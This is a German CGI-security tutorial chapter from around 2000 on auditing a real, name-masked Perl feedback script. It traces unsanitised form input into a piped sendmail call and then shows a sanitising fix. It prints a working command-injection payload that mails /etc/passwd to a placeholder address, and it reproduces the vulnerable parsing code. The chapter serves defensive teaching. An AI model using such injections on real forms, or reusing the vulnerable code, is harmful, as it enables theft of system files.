xwolf.de|com

Menü

Inhalt dieser Site

Ansicht

Individuelle Benutzerkonfiguration für die Site.

Druckansicht Startseite Suchen

A A A A

CGI Security / Sichere CGI-Skripten - Eine Einführung

Wolfgang Wiese (www.xwolf.de, xwolf@xwolf.de), April 2000

[1. Allgemeines] [2. Klassifikation von CGI-Programmen] [3. Analyse fremder Programme] [4. Analyse lokaler Programme] [5. Referenzen]

4. Analyse lokaler Programme

Im folgendem beschreiben wir die Bug-Suche in einem bestehenden Programm von dem wir wissen wollen, ob es sicher ist, oder nicht. Ausgegangen wird dabei von einem UNIX-System, da nur unter solchen Systemen ein Mindestmaß an Sicherheit gewährleistet ist und die Mehrzahl aller professionellen Webserver unter dem Apache/Unix-Mix arbeiten.

Oberflächliche Analyse

Bei der ersten, oberflächlichen Analyse schauen wir uns gezielt die Funktionen im Programm an, wo ein Sicherheitsloch auftreten könnte. Diese sind bei Perl:

Angenommen, wir durchsuchen das oben bereits genutzt Feedback-Programm, so kann die Analyse folgendermßen aussehen:


xwolf: 13:50 [test/xxxxxmail] > ls -la
total 34
drwxr-x---   2 xwolf  www          512 Apr 29 19:02 .
drwxr-x---   3 xwolf  www          512 Apr 29 18:53 ..
-rw-r-----   1 xwolf  www          228 Oct 18  1996 - 2002 NEW
-rw-r-----   1 xwolf  www         1872 Oct 19  1996 - 2002 README
-rwxr-x---   1 xwolf  www          350 Oct 18  1996 - 2002 formexample.html
-rw-r-----   1 xwolf  www          252 Oct 19  1996 - 2002 letter
-rwxr-x---   1 xwolf  www         8032 Oct 19  1996 - 2002 xxxxxmail.cgi
-rwxr-xr-x   1 xwolf  www          733 Apr 29 19:27 test.pl
-rwxr-x---   1 xwolf  www          144 Oct 18  1996 - 2002 thanks.html
Zuallererst schauen wir uns die erste Zeile des Programmes an:
xwolf: 13:50 [test/xxxxxmail] > head xxxxxmail.cgi 
#!/usr/bin/perl
# (Make the above path point to PERL on your system.)
...
Wie wir sehen, wird der Interpreter Perl ohne Argumente aufgerufen. Das Programm wird also die Variablen so nehmen wie sie kommen und nicht, wie im Tainted Mode diese als rohe Eier behandeln.
Durchsuchen wir nun nach open(), da dieser Aufruf am häufigsten verwendet wird:
xwolf: 14:29 [test/xxxxxmail] > grep open xxxxxmail.cgi
        open(SM, "|$mail $email");
                        open(SRF, "$send_reply_file");
                        open(SM, "|$mail $in{'email'}");
Wir haben 3 Zeilen mit 4 Variablen gefunden. Schauen wir mal, was sich dahinter verbirgt:
xwolf: 14:31 [test/xxxxxmail] > grep \$mail xxxxxmail.cgi
$mail = "/usr/sbin/sendmail";
if (-x $mail) {
        open(SM, "|$mail $email");
                        open(SM, "|$mail $in{'email'}");
$mail

Please tell the site admin.\n";

Hinter $mail steckt also das sendmail-Programm. Ausserdem sehen wir, daß sendmail hier ohne Parameter, insbesondere ohne den Tainted-Modus -t, aufgerufen wird. Spätestens aus diesem Grund sollten wir nun die Alarmglocken läuten hören!
Schauen wir, was hinter den anderen Variablen steckt. Besonders interessant wird dabei sein, was hinter $in{'email'} steckt, da dies als Argument zu $mail benutzt wird.
xwolf: 14:32 [test/xxxxxmail] > grep \$send_reply_file xxxxxmail.cgi
$send_reply_file = "/your/unix/root/xxxxxmail/letter";
                if (-e $send_reply_file) {
                        open(SRF, "$send_reply_file");
Wir sehen, daß $send_reply_file eine feste Variable ist, die nicht von außen geändert wird. Wir können diese Variable somit im Folgenden ignorieren.
Jetzt fehlt noch die 4. Variable $in{'email'}, welche aus einem Hash genommen wird. Wir schauen also zunächst, was mit dieser Variable passiert:
xwolf: 14:32 [test/xxxxxmail] > grep \$in\{\'email\'\} xxxxxmail.cgi
                        open(SM, "|$mail $in{'email'}");
Die Variable kommt so also nur in dem open()-Aufruf vor. Das heißt, daß sie nirgends selbst verändert wurde, es sei denn der Hash wurde als ganzes geändert. Deswegen suchen wir nun nach dem Hash:
xwolf: 14:33 [test/xxxxxmail] > grep \%in xxxxxmail.cgi
%in = &getcgi;
...
Wir erfahren, daß der Hash %in durch die Subroutine getcgi erstellt wurde. Wir müssen uns also diese Routine genauer unter die Lupe nehmen!

Nach der Suche nach open(), müssten wir nun eigentlich auch nach den anderen Systemaufrufen suchen. Da wir aber in dem Aufruf open(SM, "|$mail $in{'email'}"); einen Anfangsverdacht haben, schauen wir uns zuerstmal an, wie der Hash %in gebildet wird.
Sollten wir feststellen, daß in der Subroutine getcgi kein Parsing nach gefährlichen Sonderzeichen geschieht, haben wir eine Sicherheitslücke dingfest gemacht und wir brauchen uns nicht mehr um den Rest zu kümmern, sondern das Programm gleich sperren.

Code-Analyse

Wenn wir das Programm mit einem Editor/Viewer öffnen finden wir folgenden Code für die Subroutine getcgi:

sub getcgi {
    local($in, %in);
    local($name, $value);

        # If REQUEST_METHOD is POST, use CONTENT_LENGTH. Else, use QUERY_STRING.
    if ($ENV{'REQUEST_METHOD'} eq 'POST') {
        if ($ENV{'CONTENT_TYPE'}=~ m#^application/x-www-form-urlencoded#i) {
            read(STDIN, $in, $ENV{'CONTENT_LENGTH'});
                }
    }
    else {
                $in= $ENV{'QUERY_STRING'};
        }
        # Resolve and unencode name/value pairs into %in
    foreach (split('&', $in)) {
        s/\+/ /g;
        ($name, $value)= split('=', $_, 2);
        $name=~ s/%(..)/sprintf("%c",hex($1))/ge;
        $value=~ s/%(..)/sprintf("%c",hex($1))/ge;
        @order_array = (@order_array,$name);
        $in{$name}.= $value;
    }
    return %in;
}

Beim obigen Code handelt es sich um eine Standard-Routine für das Einlesen von Parametern, die über das Netz kommend, dem Programm übergeben werden. Die erste if()-Abfrage dient lediglich dazu, die Parameter in eine Variable $in zu schieben, egal ob als Übertragungsmethode GET oder POST verwendet wurde.
Danach wird diese Variable aufgesplittet und Sonderzeichen, die durch die Übertragung codiert waren, wieder hergestellt. Im Ende der foreach-Schleife wird der jeweilige Parameter in das Hash geschoben.
Was wir in dem Code nicht sehen ist eine Schleife oder ein regulärer Ausdruck, in der etwaige Sonderzeichen gelöscht werden. In anderen Worten: Eine beliebige Hash-Variable, wie z.B. $in{'email'} hat genau den Inhalt, welcher im Eingabeformular (oder bei der GET-Methode in der URL-Zeile) eingegeben wurde, inklusive aller Sonderzeichen.
Wie wir also im Kapitel 3. Analyse fremder Programme bereits angetestet haben, erfährt nun seine Bestätigung: Sollte jemand als E-Mail-Adresse einen Ausdruck wie

nospam@fasel.com| mail bla@fasel.com < /etc/passwd
eingeben, würde dies zum Erfolg führen, die Passwortdatei würde frei Haus und ohne Trinkgeld geliefert werden.

Korrektur

Als SysAdmin ist man leider nicht so häufig in der Rolle eines B.O.f.H., wo man unsichere Programme von Nutzern einfach löschen kann. Viel eher wird es so kommen, daß man den Benutzer erklären muß wie der entsprechende Code zu reparieren sei oder man muß es selbst tun (-vielleicht auch deswegen weil man selbst der Schuldige war).
Oft, wie in diesem Fall auch, sind es nur wenige Zeilen die geändert werden müssen um das Programm sicher zu machen. Wir kommen damit wieder zurück zu den gleichen -hoffentlich bekannten- Hinweisen für die Programmierung sicherer CGI-Skripts:

Zum letzten Punkt: Da wir gern wissen wollen, wenn jemand etwas Böses versucht, sollten wir uns ggf. die E-Mailadresse einer neuen Variable zuweisen, aus dieser dann alle Sonderzeichen löschen, die nichts in einer E-Mail zu suchen haben und dann beiden Strings vergleichen.
Folgendes kleines Perl-Beispiel zeigt wie man vorgehen könnte:

#!/local/bin/perl

$mail = $ARGV[0];
$old = $mail;

print "Input:\n\t$mail\n\n";

if ($mail !~ m/.*\@.*\..*/i)  {
   print "Wrong Syntax for E-Mail\n";
   exit;
}
print "hehehe..my mail is looking ok.\n";
print "Someone else would now use it to send an email :)\n\n";
print "Ok, now parse all illegal signs:\n";
$mail=~ s/[^a-zA-Z0-9\@\.]//g;
print "\t$mail\n\n";
print "Lets check again...\n";
if ($mail !~ m/.*\@.*\..*/i)  {
   print "Wrong Syntax for E-Mail\n";
   exit;
}
print "Ok, the email got through, but look at it: \n\t$mail\n\n";

if (length($old) != length($mail)) {
  print "The given email is not as long as the parsed one.\n";
  print "I think this is a good sign that someone tried to do something evil :)\n";

} else {
  # Now we can send an email!
}

Ruft man das Skript nun auf mit perl test.pl "bkla@jkhxf.com|/bla/fasel" wird in der letzten Zeile der Unterschied gemerkt und darauf hingewiesen, wärend eine korrekte E-Mail-Adresse auch als solche durchgeht.

Bemerkung

Bei dem herangezogenen Skriptbeispiel für das unsichere Feedback-Programm handelt es sich um ein reales Beispiel. Das Skript konnte bei der Erstellung dieses Artikels so wie es hier teilweise angegeben wurde über dessen Homepage und vom CGI-Resource Archiv geladen werden.
Da das Skript laut Download-Rating der Homepage bereits mehrere Hundert Male geladen und möglicherweise eingesetzt wurde, und wird, hab ich mich entschloßen aus naheliegenden Gründen den wahren Namen bis auf weiteres zu maskieren.


[1. Allgemeines] [2. Klassifikation von CGI-Programmen] [3. Analyse fremder Programme] [4. Analyse lokaler Programme] [5. Referenzen]
Punkte: 3 (befriedigend), Stimmen: 15 Abstimmen:

Info

$Id: cgisec4.shtml,v 1.3 2004/03/08 22:09:09 xwolf Exp $
© 1996 - 2004 by xwolf - xwolf ist eingetragene Marke beim Deutschen Patent- und Markenamt (Nr. 301 04 380)